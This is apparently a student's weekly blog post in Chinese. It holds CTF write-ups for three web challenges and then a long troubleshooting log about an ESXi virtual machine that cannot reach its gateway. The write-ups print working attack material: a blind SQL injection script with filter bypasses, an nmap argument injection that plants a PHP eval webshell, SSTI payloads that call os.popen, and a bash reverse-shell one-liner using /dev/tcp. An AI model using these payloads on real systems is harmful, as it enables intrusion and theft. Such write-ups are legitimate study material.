LOADING

加载过慢请开启缓存 浏览器默认开启

ZiAzusa#2024W6

2024/12/15 周报 CTF WriteUp 运维 计网
字数统计: 2.6k字 阅读时长: 约11分 本文阅读量:

Web

BUUCTF: [WUSTCTF2020]颜值成绩查询

不难猜测为SQL注入,经过测试这道题过滤了空格,使用 /**/ 绕过即可。

通过提交 1/**/or/**/1=1 判断是数字型注入。

进而通过 1/**/order/**/by/**/4 判断出一共有三列。

但是进一步尝试联合查询发现这道题ban了union,故考虑使用布尔盲注。

exp:

import requests
flag = ""

for i in range(1,100):
    for c in range(32, 128):
        payload = ""
        url="http://bbeb8ba1-e9ed-4b1e-88f6-2af071f394c7.node5.buuoj.cn:81/?stunum=(ascii(substr(({}),{},1))={})".format(payload, i, c)
        res = requests.get(url)
        print("\rtesting:{}".format(chr(c)), end="", flush=True)
        if "admin" in res.text:
            flag += chr(c)
            print("\n"+flag)
            break
        if c >= 127:
            raise Warning("final flag:"+flag)

payload:

select/**/group_concat(schema_name)/**/from/**/information_schema.schemata
--+ information_schema,ctf
select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()
--+ #flag,score
select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()
--+ #flag,value,id,name,score
select/**/group_concat(value)/**/from/**/flag
--+ flag{4df8aa84-2795-41dc-916e-f80703692922}

总结

通过这道题复习了SQL布尔盲注。

BUUCTF: [网鼎杯 2020 朱雀组]Nmap

众所周知Nmap是一个非常强大的网络扫描工具,而查阅资料了解到:

Nmap可以通过添加以下参数的方式将输出保存为文件:

-oN: 标准保存
-oX: XML保存
-oS: 133t保存
-oG: Grep保存
-oA: 保存到所有格式
--append-output: 补充保存文件

通过将输出保存为文件,而我们可以控制输出的内容,也就可以写一句话木马了。

经过测试,本题过滤了 php 关键字,所以标签可以使用短标签 <?= 绕过,文件后缀可以使用 .phtml 绕过。

最后payload为:

127.0.0.1 | ' <?= @eval($_POST['1']);?> -oG 1.phtml '

然后访问 /1.phtml,POST传入 1=system("cat /f*"); 即可。

总结

通过这道题进一步认识了Nmap扫描工具。

CISCN2025/长城杯 初赛: Safe_Proxy

打开题目就可以读源码了:

from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)

@app.route('/', methods=["GET"])
def source():
    with open(__file__, 'r', encoding='utf-8') as f:
        return '<pre>'+html.escape(f.read())+'</pre>'

@app.route('/', methods=["POST"])
def template():
    template_code = request.form.get("code")
    # 安全过滤
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template_code:
            return "Forbidden content detected!"
    result = render_template_string(template_code)
    print(result)
    return 'ok' if result is not None else 'error'

class HTTPProxyHandler:
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

    def handle_request(self, client_socket):
        try:
            request_data = b""
            while True:
                chunk = client_socket.recv(4096)
                request_data += chunk
                if len(chunk) < 4096:
                    break

            if not request_data:
                client_socket.close()
                return

            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
                proxy_socket.connect((self.target_host, self.target_port))
                proxy_socket.sendall(request_data)

                response_data = b""
                while True:
                    chunk = proxy_socket.recv(4096)
                    if not chunk:
                        break
                    response_data += chunk

            header_end = response_data.rfind(b"\r\n\r\n")
            if header_end != -1:
                body = response_data[header_end + 4:]
            else:
                body = response_data
                
            response_body = body
            response = b"HTTP/1.1 200 OK\r\n" \
                       b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
                       b"Content-Type: text/html; charset=utf-8\r\n" \
                       b"\r\n" + response_body

            client_socket.sendall(response)
        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client_socket.close()

def start_proxy_server(host, port, target_host, target_port):
    proxy_handler = HTTPProxyHandler(target_host, target_port)
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(100)
    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

    try:
        while True:
            client_socket, addr = server_socket.accept()
            print(f"Connection from {addr}")
            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server_socket.close()

def run_flask_app():
    app.run(debug=False, host='127.0.0.1', port=5000)

if __name__ == "__main__":
    proxy_host = "0.0.0.0"
    proxy_port = 5001
    target_host = "127.0.0.1"
    target_port = 5000

    # 安全反代,防止针对响应头的攻击
    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
    proxy_thread.daemon = True
    proxy_thread.start()

    print("Starting Flask app...")
    run_flask_app()

不难发现这题是一道SSTI,waf也并不严格。

利用类似以下形式的payload即可命令执行:

GET: a=__global__
POST: code={{(lipsum|attr(request.values.a))['o'+'s']['po'+'pen']('ls').read()}}

但同时可以发现这道题没有SSTI注入的回显。

根据题目提示最开始想的是反向代理的过程是否存在什么漏洞,但无果。

进而选择用 bash -c "bash -i >& /dev/tcp/ip/port 0>&1" 反弹shell,也没弹出来。

最后考虑盲注,已知flag格式为 flag{xxxxxx},经过测试flag位于/flag,xxxxxx为uuid字符串,所以exp:

import requests
import time

i = 5
flag = ""
while True:
    for c in [1,2,3,4,5,6,7,8,9,0,'a','b','c','d','e','f','-','}']:
        print("testing:"+str(i)+":"+str(c))
        data = {
            "code": "{% if (lipsum|attr(request.values.a))['o'+'s']['po'+'pen']('cat /flag').read()["+str(i)+"]=='"+str(c)+"' %}{Hello.world}}{% endif %}"
        }
        res = requests.post("http://47.94.216.142:26927/?a=__globals__", data=data)
        if not "ok" in res.text:
            flag += str(c)
            print(flag)
            break
        time.sleep(0.5)
    if flag[-1] == "}":
        break
    i += 1
print("flag{"+flag)

运维

有关服务器网络问题的相关研究和处理过程(依然尚未解决)

在本周,那台之前搬来实验室的机器又被搬回了机房,连入了学校数据中心的网络。

然后奇怪的事情就发生了:

ESXi宿主机配置静态IP为:10.114.514.1
部署在该宿主机的虚拟机配置IP为:10.114.514.2
10.114.514.1可以正常联网和访问,但10.114.514.2就不能联网了...

(老人/地铁/手机.jpg)

#1 怀疑宿主机和虚拟机的网络配置

ESXi在远程控制台查看IPv4 Configuration:

IPv4 Address      [10.114.514.1    ]
Subnet Mask       [255.255.255.0   ]
Default Gateway   [10.114.514.254  ]

虚拟机以Debian12为例,查看和修改网络配置是在 /etc/network/interfaces

auto    ens0
iface   ens0 inet static
address 10.114.514.2
netmask 255.255.255.0
gateway 10.114.514.254

没有问题。

#2 怀疑防火墙配置问题

分别关闭ESXi的防火墙和Debian的UFW,问题依然存在。

此时可以排除OSI上四层的问题。

#3 尝试ping

分别通过宿主机、虚拟机ping网关,以及两者之间互ping,得到以下结果:

ESXi宿主机能ping通自身、虚拟机和网关,一切正常
Debian虚拟机能ping通自身和宿主机,但ping不通网关

此时可以排除物理层的问题。

#4 怀疑ESXi的端口组配置和虚拟交换机(vSwitch)配置

VM Network端口组的配置均继承自vSwitch,而vSwitch配置和网络拓扑:

alt text

显然,并无问题,安全策略也都允许了,同时根据老师所说跟他家里配的ESXi完全一样。

说明这部分也没问题,需要继续研究…

#5 怀疑ESXi迁移后的网络配置存在问题

尝试在ESXi的远程控制台重置全部网络配置,而后重新配置网络如下:

Network Adapters
[x] vminc1 LOM2(aa:bb:cc:dd:ee:ff) Connected...

VLAN
not set

IPv4 Configuration
IPv4 Address     [10.114.514.1    ]
Subnet Mask      [255.255.255.0   ]
Default Gateway  [10.114.514.254  ]

IPv6 Configuration
IPV6 is disabled.

DNS Configuration
Primary DNS Server    [223.5.5.5  ]
Alternate DNS Server  [223.6.6.6  ]
Hostname              [esxi       ]

可是问题依然存在。

#5 怀疑软件虚拟化网络问题

在学长的帮助下,尝试开启当前网卡SR-IOV,将网络的虚拟化也交给硬件…

嗯,然后ESXi炸掉了,完全用不了SR-IOV,进远程控制台重新重置了网络才解决()

之后又尝试了给虚拟机开网卡直通,也压根开不了。

#6 怀疑ESXi固件本身存在问题

尝试重装和配置ESXi,问题依然存在。

#7 怀疑网络结构存在问题

尝试分别在本地、宿主机、虚拟机traceroute宿主机、虚拟机和网关:

本地连接宿主机:正常抵达,最后到达10.x.x.221
本地连接虚拟机:无法抵达,最后到达10.x.x.221
本地连接网关:正常抵达,最后到达10.x.x.221

宿主机连接虚拟机:直达
宿主机连接网关:直达

虚拟机连接宿主机:直达
宿主机连接网关:无法抵达

使用nmap扫了下.221,并没有什么收获。

#8 使用WireShark抓包检查

先给ESXi再开一个Kali虚拟机,然后开始使用WireShark抓包。

在抓包过程中,分别尝试了使用ESXi宿主机ping网关,Kali虚拟机ping网关,Kali虚拟机ping宿主机,本地计算机ping宿主机和网关…

alt text

首先可以看到,网关对于任何虚拟机的ARP广播包都是没有响应的,或者说ARP包根本就没到达网关。

alt text

而在这里可以找到.1是一个Huawei的设备,显然这是宿主机的网卡,并无问题。

alt text

这里可以找到一个Juniper设备对于.1的ARP包的应答,显然这个设备就是机房的物理交换机。

最后可以判断就是ARP包无法抵达网关。

#9 猜测是物理交换机的VLAN端口模式设置问题

查阅资料了解到当端口模式为Trunk,而虚拟机配置的VLAN为unsigned,会无法联网。

但是根据老师所说的模式配置的确是Access,并无问题。

#10 尝试搭建OpenWrt虚拟机做旁路由,让OpenWrt接管其他设备的网关

最后结果为:

如果esxi的网关是openwrt,且仅让openwrt的网关是254,那么就会发生openwrt让esxi跳到254,但是openwrt自己依然ping不通254

(?)

显然单纯就是任何虚拟设备都连不上网关了。

#11 ?

研究过程中曾大放厥词:“要在ESXi宿主机上搭建反向代理来连接虚拟机,反正宿主机哪都能连上…”

而后被怀疑脑子烧了,竟说出在物理机搭生产环境的鬼话…

#12 只能猜测是更换光口后,光口连接的网卡存在问题了…

排除了上四层和物理层的问题,也排除了软件虚拟化网络的问题,还排除了物理交换机的问题,好像只剩下网卡了。

回忆在实验室期间使用的是网口,而非光口,的确是一个改变的点,可能真的是网卡存在问题?

之后再更换网卡试试吧。

总结?

学习到了大量的运维和计网知识,了解到了VLAN、交换机和虚拟化网络的内容,复习了流量分析的过程…

大脑过载…